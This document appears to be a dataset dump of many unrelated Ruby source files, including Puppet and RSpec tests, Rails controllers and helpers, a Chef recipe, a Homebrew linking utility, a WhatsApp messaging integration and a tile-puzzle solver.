text
stringlengths
10
2.61M
require 'spec_helper' describe 'autofs' do context 'supported operating systems' do on_supported_os.each do |os, facts| context "on #{os}" do let(:facts) do facts.merge({ :concat_basedir => '/etc/puppet' }) end context "autofs class without any parameters" do let(:params) {{ }} it { is_expected.to compile.with_all_deps } it { is_expected.to contain_class('autofs::params') } it { is_expected.to contain_class('autofs::install').that_comes_before('autofs::config') } it { is_expected.to contain_class('autofs::config') } it { is_expected.to contain_class('autofs::service').that_subscribes_to('autofs::config') } it { is_expected.to contain_service('autofs') } it { is_expected.to contain_package('autofs').with_ensure('present') } end context "autofs class with mounts" do let(:params) {{ 'mounts' => { 'home' => { 'remote' => 'nfs:/export/home', 'mountpoint' => '/home', 'options' => 'hard,rw', }, } }} it { is_expected.to compile.with_all_deps } it { should contain_autofs__mount('home') } it { is_expected.to contain_class('autofs::params') } it { is_expected.to contain_class('autofs::install').that_comes_before('autofs::config') } it { is_expected.to contain_class('autofs::config') } it { is_expected.to contain_class('autofs::service').that_subscribes_to('autofs::config') } it { is_expected.to contain_service('autofs') } it { is_expected.to contain_package('autofs').with_ensure('present') } end context "autofs with external mount files" do let(:params) {{ 'mount_files' => { 'home' => { 'mountpoint' => '/home', 'file_source' => 'puppet:///modules/homefolder/auto.home' } } }} it { is_expected.to compile.with_all_deps } it { should contain_autofs__mountfile('home') } end context "automount folder in /" do let(:params) {{ 'mounts' => { 'testfolder' => { 'remote' => 'nfs:/export/folder', 'options' => 'hard,rw', 'mountpoint' => '/remote', } } }} it { is_expected.to compile.with_all_deps } it { should contain_autofs__mount('testfolder') } it { should contain_concat('/etc/auto.master') } it { should contain_concat__fragment('auto.testfolder') } it { should contain_concat__fragment('/-') } it 'should generate the automount configurations' do contentmaster = catalogue.resource('concat::fragment', '/-').send(:parameters)[:content] contentmaster.should_not be_empty contentmaster.should match('/- /etc/auto.testfolder') contenttestfolder = catalogue.resource('concat::fragment', 'auto.testfolder').send(:parameters)[:content] contenttestfolder.should_not be_empty contenttestfolder.should match('/remote hard,rw nfs:/export/folder') end end context "autofs with custom mount entry" do let(:params) {{ 'mount_entries' => { 'home' => { 'mountpoint' => '/home', 'mountfile' => '/opt/auto.home', 'options' => '-t 60', } } }} it { is_expected.to compile.with_all_deps } it { should contain_autofs__mountentry('home') } it 'should populate auto.master' do contentmaster = catalogue.resource('concat::fragment', '/home').send(:parameters)[:content] contentmaster.should_not be_empty contentmaster.should match('/home /opt/auto.home -t 60') end end end end end context 'unsupported operating system' do describe 'autofs class without any parameters on Solaris/Nexenta' do let(:facts) {{ :osfamily => 'Solaris', :operatingsystem => 'Nexenta', }} it { expect { is_expected.to contain_package('autofs') }.to raise_error(Puppet::Error, /Nexenta not supported/) } end end end
# -*- ruby -*- spec = Gem::Specification.new do |s| s.name = 'gnuplot' s.description = s.summary = "Utility library to aid in interacting with gnuplot" s.version = "2.2.3.1" s.platform = Gem::Platform::RUBY s.date = Time.new s.files = [ "lib/gnuplot.rb" ] s.autorequire = 'gnuplot.rb' s.author = "Gordon James Miller, Roger Pack" s.email = "rogerpack2005@gmail.com" s.homepage = "http://github.com/rogerdpack/ruby_gnuplot/tree/master" end if $0==__FILE__ Gem::Builder.new(spec).build end spec
class UpdateReferencesToContext < ActiveRecord::Migration[6.1] def change rename_column :arch_objects, :site_phase_id, :context_id end end
module VmScanItemNteventlog def to_xml xml = @xml_class.newNode('scan_item') xml.add_attributes('guid' => @params['guid'], 'name' => @params['name'], 'item_type' => @params['item_type']) d = scan_definition xml.root << d[:data] if d[:data] xml end def parse_data(vm, data, &_blk) if data.nil? d = scan_definition if d[:data].nil? if vm.rootTrees[0].guestOS == "Windows" begin st = Time.now $log.info "Scanning [Profile-EventLogs] information." yield({:msg => 'Scanning Profile-EventLogs'}) if block_given? ntevent = Win32EventLog.new(vm.rootTrees[0]) ntevent.readAllLogs(d['content']) rescue MiqException::NtEventLogFormat $log.warn $!.to_s rescue => err $log.error "Win32EventLog: #{err}" $log.error err.backtrace.join("\n") ensure d[:data] = ntevent.xmlDoc $log.info "Scanning [Profile-EventLogs] information ran for [#{Time.now - st}] seconds." end end end end end end
require_relative 'api_spec_helper' module DiceOfDebt describe API do include_context 'api test' shared_examples :initial_game do subject { data } its([:id]) { should match '\d+' } its([:type]) { should eq 'game' } describe 'attributes' do subject { data[:attributes] } its([:value_dice_count]) { should eq 8 } its([:debt_dice_count]) { should eq 4 } its([:score]) { should eq 0 } end specify 'should have a link to the game resource' do expect(data[:links][:self]).to eq "http://example.org/games/#{data[:id]}" end specify 'no relationships provided' do expect(data[:relationships]).to be_nil end specify 'no included resources' do expect(data[:included]).to be_nil end end describe 'get all games' do before { get '/games' } it { expect_data 200 } subject { data[0] } its([:id]) { should eq '1' } its([:type]) { should eq 'game' } it { expect(data[0][:attributes][:iterations]).to be_nil } end describe 'get a newly created game' do before { get '/games/1' } it { expect_data 200 } include_examples :initial_game it { expect(data[:attributes][:iterations]).to be_empty } end describe 'get a partially completed game' do before do insert_data :iterations, id: 420, game_id: 1, value: 12, debt: 9, status: 'complete' get '/games/1' end after do delete_data :iterations, game_id: 1 end it { expect_data 200 } include_examples :initial_game it { expect(data[:attributes][:iterations].size).to eq 1 } it { expect(data[:attributes][:status]).to eq 'started' } describe 'iteration' do subject { data[:attributes][:iterations][0] } it { expect(subject).to_not have_key :id } its([:value]) { should eq 12 } its([:debt]) { should eq 9 } its([:score]) { should eq 3 } its([:status]) { should eq 'complete' } end end describe 'with a complete game' do before do (420..429).each do |id| insert_data :iterations, id: id, game_id: 1, value: 12, debt: 9, status: 'complete' end get '/games/1' end after do delete_data :iterations, game_id: 1 end it { expect_data 200 } include_examples :initial_game it { expect(data[:attributes][:iterations].size).to eq 10 } it { expect(data[:attributes][:status]).to eq 'complete' } end describe 'GET a game using a non-existent id' do before { get '/games/9999' } include_examples 'GET using a non-existent resource id', 'game' end describe 'GET a game using an invalid id' do before { get '/games/foo' } include_examples 'GET using an invalid resource id', 'game' end describe 'POST /games' do before { post '/games', { data: {} }.to_json, 'CONTENT_TYPE' => 'application/vnd.api+json' } it { expect_data 201 } it { expect(headers['Location']).to match "http://example.org/games/#{data['id']}" } include_examples :initial_game end end end
require 'spec_helper' feature 'user adds an owner', %q{ As a real estate associate I want to record a building owner So that I can keep track of our relationships with owners } do # Acceptance Criteria: # I must specify a first name, last name, and email address # I can optionally specify a company name # If I do not specify the required information, I am presented with errors # If I specify the required information, the owner is recorded and I am redirected to enter another new owner scenario 'all required information is provided' do visit 'owners/new' fill_in 'First Name', with: 'Ollie' fill_in 'Last Name', with: 'Owner' fill_in 'Email Address', with: 'ollie@example.com' click_on 'Create Owner' expect(page).to have_content 'Owner was successfully created.' expect(page).to have_content 'New Owner' end scenario 'required information is missing or invalid' do visit 'owners/new' fill_in 'Email Address', with: 'some email' click_on 'Create Owner' expect(page).to_not have_content 'Owner was successfully created.' within ".input.owner_first_name" do expect(page).to have_content "can't be blank" end within ".input.owner_last_name" do expect(page).to have_content "can't be blank" end within ".input.owner_email" do expect(page).to have_content 'must be a valid email address' end end end
require 'active_support/concern' module SmoochTurnio extend ActiveSupport::Concern module ClassMethods def get_turnio_installation(signature, data) self.get_installation do |i| secret = i.settings.with_indifferent_access['turnio_secret'].to_s unless secret.blank? Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, data)).chomp == signature end end end def get_whatsapp_installation(phone, secret) self.get_installation do |i| secret == i.settings.with_indifferent_access['turnio_secret'].to_s && phone == i.settings.with_indifferent_access['turnio_phone'].to_s end end def valid_turnio_request?(request) valid = !self.get_whatsapp_installation(request.headers['HTTP_X_WA_ACCOUNT_ID'], request.params[:secret]).nil? || !self.get_turnio_installation(request.headers['HTTP_X_TURN_HOOK_SIGNATURE'], request.raw_post).nil? RequestStore.store[:smooch_bot_provider] = 'TURN' valid end def turnio_api_get_user_data(uid, payload) payload['turnIo'].to_h['contacts'].to_a[0].to_h.merge({ clients: [{ platform: 'whatsapp', displayName: uid }] }) end def turnio_api_get_app_name 'TURN.IO' end def turnio_format_template_message(namespace, template, _fallback, locale, file_url, placeholders, file_type = 'image', preview_url = true) components = [] components << { type: 'header', parameters: [{ type: file_type, file_type => { link: file_url } }] } unless file_url.blank? body = [] placeholders.each do |placeholder| body << { type: 'text', text: placeholder.gsub(/\s+/, ' ') } end components << { type: 'body', parameters: body } unless body.empty? { type: 'template', preview_url: preview_url, template: { namespace: namespace, name: template, language: { code: locale, policy: 'deterministic' }, components: components } } end def get_turnio_host self.config['turnio_host'] || 'https://whatsapp.turn.io' end def turnio_http_connection(uri) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = uri.scheme == 'https' ca_file_path = File.join(Rails.root, 'tmp', "#{Digest::MD5.hexdigest(self.config['turnio_cacert'].to_s)}.crt") File.atomic_write(ca_file_path) { |file| file.write(self.config['turnio_cacert'].to_s) } unless File.exist?(ca_file_path) http.ca_file = ca_file_path http.verify_mode = OpenSSL::SSL::VERIFY_PEER http end def store_turnio_media(media_id, mime_type) uri = URI("#{self.get_turnio_host}/v1/media/#{media_id}") http = self.turnio_http_connection(uri) req = Net::HTTP::Get.new(uri.request_uri, 'Authorization' => "Bearer #{self.config['turnio_token']}") response = http.request(req) path = "turnio/#{media_id}" CheckS3.write(path, mime_type, response.body) CheckS3.public_url(path) end def convert_turnio_message_type(type) type == 'voice' ? 'audio' : type end def get_turnio_message_event(json) event = 'unknown' if json.dig('messages', 0, '_vnd', 'v1', 'direction') == 'inbound' || json.dig('messages', 0, 'from') event = 'user_sent_message' elsif json.dig('statuses', 0, 'status') == 'delivered' event = 'user_received_message' elsif json.dig('statuses', 0, 'status') == 'failed' event = 'user_could_not_receive_message' end event end def get_turnio_message_text(message) Bot::Smooch.get_capi_message_text(message) end def get_turnio_message_uid(message) message.dig('_vnd', 'v1', 'author', 'id') || "#{self.config['turnio_phone']}:#{message['from']}" end def preprocess_turnio_message(body) json = JSON.parse(body) message_event = self.get_turnio_message_event(json) # Convert a message received from a WhatsApp user to the payload accepted by the Smooch Bot if message_event == 'user_sent_message' message = json['messages'][0] uid = self.get_turnio_message_uid(message) messages = [{ '_id': message['id'], authorId: uid, name: json.dig('contacts', 0, 'profile', 'name'), type: self.convert_turnio_message_type(message['type']), text: self.get_turnio_message_text(message), source: { type: 'whatsapp', originalMessageId: message['id'] }, received: message['timestamp'].to_i || Time.now.to_i, payload: message.dig('interactive', 'list_reply', 'id') || message.dig('interactive', 'button_reply', 'id'), quotedMessage: { content: { '_id' => message.dig('context', 'id') } } }] messages[0].merge!(Bot::Smooch.convert_media_information(message)) { trigger: 'message:appUser', app: { '_id': self.config['turnio_secret'] }, version: 'v1.1', messages: messages, appUser: { '_id': uid, 'conversationStarted': true }, turnIo: json }.with_indifferent_access # User received message elsif message_event == 'user_received_message' status = json['statuses'][0] { trigger: 'message:delivery:channel', app: { '_id': self.config['turnio_secret'] }, destination: { type: 'whatsapp' }, version: 'v1.1', message: { '_id': status['id'], 'type': 'text' }, appUser: { '_id': "#{self.config['turnio_phone']}:#{status['recipient_id'] || status.dig('message', 'recipient_id')}", 'conversationStarted': true }, timestamp: status['timestamp'].to_i, turnIo: json }.with_indifferent_access # Could not deliver message (probably it's outside the 24-hours window) elsif message_event == 'user_could_not_receive_message' status = json['statuses'][0] { trigger: 'message:delivery:failure', app: { '_id': self.config['turnio_secret'] }, destination: { type: 'whatsapp' }, error: { underlyingError: { errors: [{ code: 470 }] } }, version: 'v1.1', message: { '_id': status['id'], 'type': 'text' }, appUser: { '_id': "#{self.config['turnio_phone']}:#{status['recipient_id'] || status.dig('message', 'recipient_id')}", 'conversationStarted': true }, timestamp: status['timestamp'].to_i, turnIo: json }.with_indifferent_access # Fallback to be sure that we at least have a valid payload else { trigger: 'message:other', app: { '_id': self.config['turnio_secret'] }, version: 'v1.1', messages: [], appUser: { '_id': '', 'conversationStarted': true }, turnIo: json }.with_indifferent_access end end def turnio_upload_image(url) require 'open-uri' uri = URI("#{self.get_turnio_host}/v1/media") http = self.turnio_http_connection(uri) req = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'image/png', 'Authorization' => "Bearer #{self.config['turnio_token']}") req.body = URI(url).open.read response = http.request(req) JSON.parse(response.body).dig('media', 0, 'id') end def turnio_send_message_to_user(uid, text, extra = {}, _force = false) payload = {} account, to = uid.split(':') return if account != self.config['turnio_phone'] if text.is_a?(String) payload = { preview_url: !text.to_s.match(/https?:\/\//).nil?, recipient_type: 'individual', to: to, type: 'text', text: { body: text } } else payload = { to: to }.merge(text) end if extra['type'] == 'image' media_id = self.turnio_upload_image(extra['mediaUrl']) payload = { recipient_type: 'individual', to: to, type: 'image', image: { id: media_id, caption: text.to_s } } end payload.merge!(extra.dig(:override, :whatsapp, :payload).to_h) payload.delete(:text) if payload[:type] == 'interactive' return if payload[:type] == 'text' && payload[:text][:body].blank? uri = URI("#{self.get_turnio_host}/v1/messages") http = self.turnio_http_connection(uri) req = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json', 'Authorization' => "Bearer #{self.config['turnio_token']}") req.body = payload.to_json response = http.request(req) if response.code.to_i >= 400 response_body = Bot::Smooch.safely_parse_response_body(response) errors = response_body&.dig('errors') errors.to_a.each do |error| e = Bot::Smooch::TurnioMessageDeliveryError.new("(#{error.dig('code')}) #{error.dig('title')}") CheckSentry.notify(e, uid: uid, error: error, type: payload.dig(:type), template_name: payload.dig(:template, :name), template_language: payload.dig(:template, :language, :code) ) end end response end end end
class Foerdermitglied < ActiveRecord::Base set_table_name "Foerdermitglied" attr_accessible :pnr, :region, :foerderbeitrag validates_presence_of :region, :foerderbeitrag end
module Pantograph module Actions class GitTagExistsAction < Action module SharedValues GIT_TAG_EXISTS ||= :GIT_TAG_EXISTS end def self.run(params) tag_exists = true Actions.sh( "git rev-parse -q --verify refs/tags/#{params[:tag].shellescape}", log: PantographCore::Globals.verbose?, error_callback: ->(result) { tag_exists = false } ) Actions.lane_context[SharedValues::GIT_TAG_EXISTS] = tag_exists end ##################################################### # @!group Documentation ##################################################### def self.description 'Checks if the git tag with the given name exists' end def self.available_options [ PantographCore::ConfigItem.new( key: :tag, env_name: 'GIT_TAG_EXISTS_TAG', description: 'The tag name that should be checked', is_string: true ) ] end def self.return_value 'Returns Boolean value whether the tag exists' end def self.output [ ['GIT_TAG_EXISTS', 'Boolean value whether tag exists'] ] end def self.authors ['johnknapprs'] end def self.is_supported?(platform) true end def self.example_code [ 'if git_tag_exists(tag: "1.1.0") UI.message("Git Tag Exists!") end' ] end def self.category :source_control end end end end
require 'find' class Keg def fix_install_names mach_o_files.each do |file| bad_install_names_for file do |id, bad_names| file.ensure_writable do system MacOS.locate("install_name_tool"), "-id", id, file if file.dylib? bad_names.each do |bad_name| new_name = bad_name new_name = Pathname.new(bad_name).basename unless (file.parent + new_name).exist? # First check to see if the dylib is present in the current # directory, so we can skip the more expensive search. if (file.parent + new_name).exist? system MacOS.locate("install_name_tool"), "-change", bad_name, "@loader_path/#{new_name}", file else # Otherwise, try and locate the appropriate dylib by walking # the entire 'lib' tree recursively. abs_name = (self+'lib').find do |pn| break pn if pn.basename == Pathname.new(new_name) end if abs_name and abs_name.exist? system MacOS.locate("install_name_tool"), "-change", bad_name, abs_name, file else opoo "Could not fix install names for #{file}" end end end end end end end private OTOOL_RX = /\t(.*) \(compatibility version (\d+\.)*\d+, current version (\d+\.)*\d+\)/ def bad_install_names_for file ENV['HOMEBREW_MACH_O_FILE'] = file.to_s # solves all shell escaping problems install_names = `#{MacOS.locate("otool")} -L "$HOMEBREW_MACH_O_FILE"`.split "\n" install_names.shift # first line is fluff install_names.map!{ |s| OTOOL_RX =~ s && $1 } # Bundles don't have an ID id = install_names.shift unless file.mach_o_bundle? install_names.compact! install_names.reject!{ |fn| fn =~ /^@(loader|executable)_path/ } # Don't fix absolute paths unless they are rooted in the build directory install_names.reject! do |fn| tmp = ENV['HOMEBREW_TEMP'] ? Regexp.escape(ENV['HOMEBREW_TEMP']) : '/tmp' fn[0,1] == '/' and not %r[^#{tmp}] === fn end # the shortpath ensures that library upgrades don’t break installed tools shortpath = HOMEBREW_PREFIX + Pathname.new(file).relative_path_from(self) id = if shortpath.exist? then shortpath else file end yield id, install_names end def mach_o_files mach_o_files = [] if (lib = join 'lib').directory? lib.find do |pn| next if pn.symlink? or pn.directory? mach_o_files << pn if pn.dylib? or pn.mach_o_bundle? end end mach_o_files end end
# frozen_string_literal: true module Ysera # A encoder class to encode any type of string data class Encoder def self.run(secretable) new(secretable).run end private def initialize(secretable) @secretable = secretable end def run; end end end
# frozen_string_literal: true class TestHomePage < SitePrism::Page set_url '/home.htm' set_url_matcher(/home\.htm$/) # individual elements element :welcome_header, :xpath, '//h1' element :welcome_message, 'body > span' element :go_button, '[value="Go!"]' element :link_to_search_page, :xpath, '//p[2]/a' # This takes just over 2 seconds to appear element :some_slow_element, :xpath, '//a[@class="slow"]' element :invisible_element, 'input.invisible' element :shy_element, 'input#will_become_visible' element :retiring_element, 'input#will_become_invisible' element :removing_element, 'input#will_become_nonexistent' element :remove_container_with_element_btn, 'input#remove_container_with_element' # elements groups elements :lots_of_links, :xpath, '//td//a' elements :removing_links, '#link_container_will_become_nonexistent > a' elements :nonexistent_elements, 'input#nonexistent' elements :welcome_headers, :xpath, '//h3' elements :welcome_messages, :xpath, '//span' elements :rows, 'td' # elements that should not exist element :squirrel, 'squirrel.nutz' element :other_thingy, 'other.thingy' element :nonexistent_element, 'input#nonexistent' # individual sections section :people, People do element :headline_clone, 'h2' end section :container_with_element, ContainerWithElement, '#container_with_element' section :nonexistent_section, NoElementWithinSection, 'input#nonexistent' section :removing_section, NoElementWithinSection, 'input#will_become_nonexistent' # section groups sections :nonexistent_sections, NoElementWithinSection, 'input#nonexistent' sections :removing_sections, NoElementWithinSection, '#link_container_will_become_nonexistent > a' # iframes iframe :my_iframe, MyIframe, '#the_iframe' iframe :index_iframe, MyIframe, 0 iframe :named_iframe, MyIframe, '[name="the_iframe"]' iframe :xpath_iframe, MyIframe, :xpath, '//iframe[@name="the_iframe"]' end
require 'rails_helper' describe 'An admin' do describe 'visiting the bike shop items' do before :each do @admin = create(:user, role: 1) @item = Item.create(title: 'bike lights', description: 'wonderful led', price: 10, image: 'https://www.elegantthemes.com/blog/wp-content/uploads/2015/02/custom-trackable-short-url-feature.png', status: 1) @item2 = Item.create(title: 'wheels', description: 'circle', price: 90, image: 'https://www.elegantthemes.com/blog/wp-content/uploads/2015/02/custom-trackable-short-url-feature.png', status: 0) allow_any_instance_of(ApplicationController).to receive(:current_user).and_return(@admin) end it 'can edit accessory or retire/reactivate accessory' do visit admin_bike_shop_path expect(page).to have_button('Edit') within "#item-#{@item.id}" do click_button 'Edit' end expect(current_path).to eq(admin_item_path(@item.id)) fill_in :item_title, with: 'book' fill_in :item_description, with: 'great story' fill_in :item_price, with: 45 click_button 'Update Item' expect(current_path).to eq(admin_bike_shop_path) expect(page).to have_content('book') expect(page).to have_content("great story") expect(page).to have_content(45) end it 'can see see button to retire or reactivate an item' do visit admin_bike_shop_path within "#item-#{@item.id}" do click_button 'Retire' end within "#item-#{@item.id}" do expect(page).to have_content('retired') end within "#item-#{@item2.id}" do click_button 'Reactivate' end within "#item-#{@item2.id}" do expect(page).to have_content('active') end end end end
# Virus Predictor # I worked on this challenge [with: Kimberly ]. # We spent [#] hours on this challenge. # EXPLANATION OF require_relative # # #require_relative 'state_data' #require_relative is used for the relative path of the class file that you're pulling into your file. #require on the other hand uses a absolute path to the class file you're pulling. class VirusPredictor #The initialize method will give each instance of that class the corresponding state, population and population density attribute information. def initialize(state_of_origin, population_density, population) @state = state_of_origin @population = population @population_density = population_density end #The virus_effects method, calls the predicted_deaths and the speed_of_spread methods defined below. def virus_effects print "#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months. \n\n" # predicted_deaths(@population_density, @population, @state) # speed_of_spread(@population_density, @state) end private #The predicted_deaths method takes into account the population density of each state, and depending on its amount, calculates a specific number of deaths predicted for that state. The output is the printed statement saying the number of deaths in the state for this outbreak. def predicted_deaths # predicted deaths is solely based on population density y = case @population_density when (150..199) then 0.3 when (100..149) then 0.2 when (50..99) then 0.1 when (0..49) then 0.05 else 0.4 end (@population * y).floor # if @population_density >= 200 # number_of_deaths = (@population * 0.4).floor # elsif @population_density >= 150 # number_of_deaths = (@population * 0.3).floor # elsif @population_density >= 100 # number_of_deaths = (@population * 0.2).floor # elsif @population_density >= 50 # number_of_deaths = (@population * 0.1).floor # else # number_of_deaths = (@population * 0.05).floor # end # print "#{@state} will lose #{number_of_deaths} people in this outbreak" end #The speed_of_spread method also takes into account the population density and depending on that figure, assigns a speed at which the outbreak will spread accross the state. Its output is the printed statement. def speed_of_spread #in months speed = case @population_density when (150..199) then 1 when (100..149) then 1.5 when (50..99) then 2 when (0..49) then 2.5 else 0.5 end end end #======================================================================= # DRIVER CODE # initialize VirusPredictor for each state STATE_DATA.each do |state, state_info| new_instance = VirusPredictor.new(state, state_info[:population_density], state_info[:population]) new_instance.virus_effects end alabama = VirusPredictor.new("Alabama", STATE_DATA["Alabama"][:population_density], STATE_DATA["Alabama"][:population]) alabama.virus_effects jersey = VirusPredictor.new("New Jersey", STATE_DATA["New Jersey"][:population_density], STATE_DATA["New Jersey"][:population]) jersey.virus_effects california = VirusPredictor.new("California", STATE_DATA["California"][:population_density], STATE_DATA["California"][:population]) california.virus_effects alaska = VirusPredictor.new("Alaska", STATE_DATA["Alaska"][:population_density], STATE_DATA["Alaska"][:population]) alaska.virus_effects #======================================================================= # Reflection Section # What does require_relative do? How is it different from require? # Require_relative searches files in the same directory/folder. Require searches files beyond the absolute path. # What are some ways to iterate through a hash? # You can iterate through a hash using ".each". My partner and I iterated through a hash on lines 82-85. # When refactoring virus_effects, what stood out to you about the variables, if anything? # Some of the variables where unneccessary and could be condensed. Otherwise, the variables were properly named. # What concept did you most solidify in this challenge? # I enjoyed and got a good grasp on refactoring code to make it more readable and condensed.
require 'highline/import' require 'netrc' require 'acquia_toolbelt/cli' module AcquiaToolbelt class CLI class Auth < AcquiaToolbelt::Thor # Public: Login to an Acquia account. # # Save the login details in a netrc file for use for all authenticated # requests. # # Returns a status message. desc 'login', 'Login to your Acquia account.' def login cli = HighLine.new user = cli.ask('Enter your username: ') password = cli.ask('Enter your password (typing will be hidden): ') { |q| q.echo = false } # Update (or create if needed) the netrc file that will contain the user # authentication details. n = Netrc.read n.new_item_prefix = "# This entry was added for connecting to the Acquia Cloud API\n" n['cloudapi.acquia.com'] = user, password n.save ui.success 'Your user credentials have been successfully set.' end end end end
# # Cookbook Name:: impala # Recipe:: config # # Copyright © 2013-2015 Cask Data, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # impala_conf_dir = "/etc/impala/#{node['impala']['conf_dir']}" directory impala_conf_dir do mode '0755' owner 'root' group 'root' action :create recursive true end directory '/etc/default' do mode '0755' owner 'root' group 'root' action :create recursive true end # Setup /etc/default/impala if node['impala'].key?('config') impala_log_dir = if node['impala']['config'].key?('impala_log_dir') node['impala']['config']['impala_log_dir'] else '/var/log/impala' end directory impala_log_dir do owner node['impala']['user'] group node['impala']['group'] mode '0755' action :create recursive true only_if { node['impala']['config'].key?('impala_log_dir') } end unless impala_log_dir == '/var/log/impala' # Delete default directory, if we aren't set to it directory '/var/log/impala' do action :delete not_if 'test -L /var/log/impala' end # symlink link '/var/log/impala' do to impala_log_dir end end template '/etc/default/impala' do source 'generic-env.sh.erb' mode '0755' owner node['impala']['user'] group node['impala']['group'] action :create variables :options => node['impala']['config'] end end # End /etc/default/impala # COOK-91 Setup hive-site.xml template "#{impala_conf_dir}/hive-site.xml" do source 'generic-site.xml.erb' mode '0644' owner node['impala']['user'] group node['impala']['group'] action :create variables :options => node['hive']['hive_site'] only_if { node.key?('hive') && node['hive'].key?('hive_site') && !node['hive']['hive_site'].empty? } end # End hive-site.xml # Update alternatives to point to our configuration execute 'update impala-conf alternatives' do command "update-alternatives --install /etc/impala/conf impala-conf /etc/impala/#{node['impala']['conf_dir']} 50" not_if "update-alternatives --display impala-conf | grep best | awk '{print $5}' | grep /etc/impala/#{node['impala']['conf_dir']}" end
#!/usr/bin/env ruby class Image def initialize(id_matrices) @id_tiles = id_matrices.map do |id, matrix| [id, Tile.new(matrix)] end.to_h end def construct_image first_id = @id_tiles.keys.first @tilemap = [[first_id]] place_matching_tiles(first_id) end def corner_ids [ @tilemap.first.first, @tilemap.first.last, @tilemap.last.first, @tilemap.last.last, ] end private def place_matching_tiles(id) tile(id).borders.each do |direction, border| next if border_matched?(id, direction) matched_id, _ = @id_tiles.except(id).find do |_, tile| tile.matchable_borders.any?(border) end next if matched_id.nil? orient_matched_tile(matched_id, border, direction) place_matched_tile(id, matched_id, direction) place_matching_tiles(matched_id) end end def orient_matched_tile(id, border, direction) tile(id).flip if tile(id).border_direction(border.reverse).nil? until tile(id).border_direction(border.reverse) == DIRECTION_PAIRS[direction] tile(id).rotate end end DIRECTION_PAIRS = { top: :bottom, bottom: :top, left: :right, right: :left, } def place_matched_tile(id, matched_id, direction) x, y = adjacent_coords(id, direction) case when x == -1 x = 0 extend_tilemap(:left) when x == x_length extend_tilemap(:right) when y == -1 y = 0 extend_tilemap(:top) when y == y_length extend_tilemap(:bottom) end @tilemap[y][x] = matched_id end def border_matched?(id, direction) x, y = adjacent_coords(id, direction) return false unless (0...x_length).include?(x) && (0...y_length).include?(y) !@tilemap[y][x].nil? end def adjacent_coords(id, direction) coords = [nil, nil] coords[1] = (0...y_length).find do |y| coords[0] = (0...x_length).find do |x| @tilemap[y][x] == id end end case direction when :top coords[1] -= 1 when :right coords[0] += 1 when :bottom coords[1] += 1 when :left coords[0] -= 1 end coords end def extend_tilemap(direction) case direction when :top @tilemap.prepend(Array.new(x_length)) when :right @tilemap.each { |line| line.append(nil) } when :bottom @tilemap.append(Array.new(x_length)) when :left @tilemap.each { |line| line.prepend(nil) } end end def tile(id) @id_tiles[id] end def x_length @tilemap.first.length end def y_length @tilemap.length end end class Tile def initialize(matrix) @matrix = matrix end def borders { top: @matrix.first.dup, right: @matrix.map(&:last), bottom: @matrix.last.reverse, left: @matrix.map(&:first).reverse, } end def matchable_borders borders.values + borders.values.map(&:reverse) end def rotate @matrix = @matrix.transpose.map(&:reverse) end def flip @matrix = @matrix.map(&:reverse) end def border_direction(border) borders.key(border) end end if __FILE__ == $0 data = File.read(ARGV[0]).split(/\n\n/) id_matrices = data.map do |entry| raw_id_matrix = entry.split(/\n/) id = raw_id_matrix.first.match(/\ATile (\d{4}):\z/).captures.first matrix = raw_id_matrix.drop(1).map(&:chars) [id, matrix] end.to_h image = Image.new(id_matrices) image.construct_image puts image.corner_ids.reduce(1) { |memo, id| memo * id.to_i } end
class Panel::MenuItemsController < Panel::BaseController before_action :set_menu before_action :set_menu_item, only: [:edit, :update, :destroy] before_action :authorize_menu_item respond_to :html def index @menu_items = @menu.menu_items.includes(:item_type).includes(:category) filter_by_category paginate_records @categories_tree = @menu.categories.order('sort_order').group_by(&:parent_id) end def import menu_import = MenuImport.new @menu begin menu_import.import(params[:csv_file].tempfile) render json: { success: true } rescue CSV::MalformedCSVError => e render json: { error: e.message } and return rescue StandardError => e render json: { error: e.message } and return end end def new @menu_item = MenuItem.new @menu_item.category_id = params[:category_id] end def create @menu_item = @menu.menu_items.build(menu_item_params) if @menu_item.save save_prices redirect_to back(panel_menu_menu_items_path) else render :new end end def edit end def update if @menu_item.update(menu_item_params) save_prices redirect_to back(panel_menu_menu_items_path) else render :edit end end def prices set_menu_item if params[:id].present? @menu_item = MenuItem.new if params[:id].blank? item_type = ItemType.find(params[:item_type_id]) render partial: 'prices', locals: { item_type: item_type, menu_item: @menu_item } end def destroy @menu_item.destroy redirect_to back(panel_menu_menu_items_path(@menu)) end def bulk_destroy menu_items = MenuItem.where(id: params[:menu_item_ids]) menu_items.each do |menu_item| authorize menu_item, :destroy? menu_item.destroy end redirect_to back(panel_menu_menu_items_path(@menu)) end private def authorize_menu_item authorize @menu, :manage_dishes? authorize @menu_item || MenuItem end def set_menu @menu = Menu.find(params[:menu_id]) end def set_menu_item @menu_item = MenuItem.find(params[:id]) end def filter_by_category if params.key?(:category_id) @menu_items = @menu_items.where category_id: params[:category_id] @current_category = Category.find(params[:category_id]) end end def paginate_records @menu_items = @menu_items.paginate(page: params[:page]) end def menu_item_params params.require(:menu_item).permit(policy(@menu_item || MenuItem).permitted_attributes) end def save_prices return if params[:price].blank? params[:price].each do |variant_id, price_value| price = Price.find_or_initialize_by menu_item_id: @menu_item.id, item_type_variant_id: variant_id price.price = price_value price.save end end end
module ApplicationHelper def login_helper if current_user.is_a?(GuestUser) link_to 'Register', new_user_registration_path link_to 'Login', new_user_session_path else link_to 'Logout', destroy_user_session_path, method: :delete end end def source_helper greeting = "Welcome. Thanks for visiting us from #{session[:referrer]}" content_tag(:h3, greeting, class: 'source-greeting') if session[:referrer] end def copyright_generator @copyright = ViewTools::Renderer.copyright(name: 'Josh Teperman', msg: 'All Rights Reserved') end end
